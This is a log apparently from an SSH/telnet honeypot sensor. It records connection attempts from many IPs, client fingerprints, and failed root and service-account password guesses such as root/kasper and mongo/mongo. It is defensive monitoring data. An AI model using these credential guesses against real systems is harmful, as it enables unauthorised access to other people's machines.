{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":35416,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4af5f9d33a2","protocol":"ssh","message":"New connection: 124.156.196.131:35416 (159.203.135.109:22) [session: e4af5f9d33a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:25.112077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:25.117220Z","src_ip":"124.156.196.131","session":"e4af5f9d33a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:25.355516Z","src_ip":"124.156.196.131","session":"e4af5f9d33a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongo","password":"mongo","message":"login attempt [mongo/mongo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:28.215966Z","src_ip":"124.156.196.131","session":"e4af5f9d33a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:29.049274Z","src_ip":"205.210.31.163","session":"a98705b650ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:29.456794Z","src_ip":"124.156.196.131","session":"e4af5f9d33a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":58746,"dst_ip":"10.17.0.5","dst_port":22,"session":"0782d608d2fe","protocol":"ssh","message":"New connection: 103.15.222.183:58746 (10.17.0.5:22) [session: 0782d608d2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:29.961336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:29.965754Z","src_ip":"103.15.222.183","session":"0782d608d2fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:30.215965Z","src_ip":"103.15.222.183","session":"0782d608d2fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"berlin","message":"login attempt [root/berlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:30.965282Z","src_ip":"103.15.222.183","session":"0782d608d2fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:32.217248Z","src_ip":"103.15.222.183","session":"0782d608d2fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44432,"dst_ip":"159.203.135.109","dst_port":22,"session":"723d3e5ff137","protocol":"ssh","message":"New connection: 87.251.79.125:44432 (159.203.135.109:22) [session: 723d3e5ff137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:33.218856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:33.222992Z","src_ip":"87.251.79.125","session":"723d3e5ff137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:33.294305Z","src_ip":"87.251.79.125","session":"723d3e5ff137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kasper","message":"login attempt [root/kasper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:33.506376Z","src_ip":"87.251.79.125","session":"723d3e5ff137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:34.580680Z","src_ip":"87.251.79.125","session":"723d3e5ff137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":59456,"dst_ip":"159.203.135.109","dst_port":22,"session":"e26085667cfe","protocol":"ssh","message":"New connection: 103.122.221.179:59456 (159.203.135.109:22) [session: e26085667cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:36.467191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:36.471733Z","src_ip":"103.122.221.179","session":"e26085667cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:36.731735Z","src_ip":"103.122.221.179","session":"e26085667cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:37.495067Z","src_ip":"103.122.221.179","session":"e26085667cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:38.751829Z","src_ip":"103.122.221.179","session":"e26085667cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":34398,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f2648199b42","protocol":"telnet","message":"New connection: 213.108.3.46:34398 (10.17.0.5:23) [session: 2f2648199b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:55.196195Z"}
{"eventid":"cowrie.session.closed","duration":0.014332056045532227,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:55.210386Z","src_ip":"213.108.3.46","session":"2f2648199b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":52066,"dst_ip":"159.203.135.109","dst_port":22,"session":"606271cef62b","protocol":"ssh","message":"New connection: 43.163.95.54:52066 (159.203.135.109:22) [session: 606271cef62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:59.367371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:59.371830Z","src_ip":"43.163.95.54","session":"606271cef62b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:59.617280Z","src_ip":"43.163.95.54","session":"606271cef62b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test12345678","message":"login attempt [root/test12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:00.634084Z","src_ip":"43.163.95.54","session":"606271cef62b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:01.884615Z","src_ip":"43.163.95.54","session":"606271cef62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":4138,"dst_ip":"159.203.135.109","dst_port":22,"session":"48bbbac49885","protocol":"ssh","message":"New connection: 38.93.206.2:4138 (159.203.135.109:22) [session: 48bbbac49885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:30.584040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:30.588906Z","src_ip":"38.93.206.2","session":"48bbbac49885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:30.639630Z","src_ip":"38.93.206.2","session":"48bbbac49885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:30.793901Z","src_ip":"38.93.206.2","session":"48bbbac49885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:31.849203Z","src_ip":"38.93.206.2","session":"48bbbac49885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":36628,"dst_ip":"10.17.0.5","dst_port":22,"session":"77308309091e","protocol":"ssh","message":"New connection: 103.203.57.2:36628 (10.17.0.5:22) [session: 77308309091e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:34.559098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:34.562677Z","src_ip":"103.203.57.2","session":"77308309091e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:34.575717Z","src_ip":"103.203.57.2","session":"77308309091e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":42682,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f7aff17d5e","protocol":"ssh","message":"New connection: 179.61.232.245:42682 (10.17.0.5:22) [session: 36f7aff17d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.697211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.701319Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.731150Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
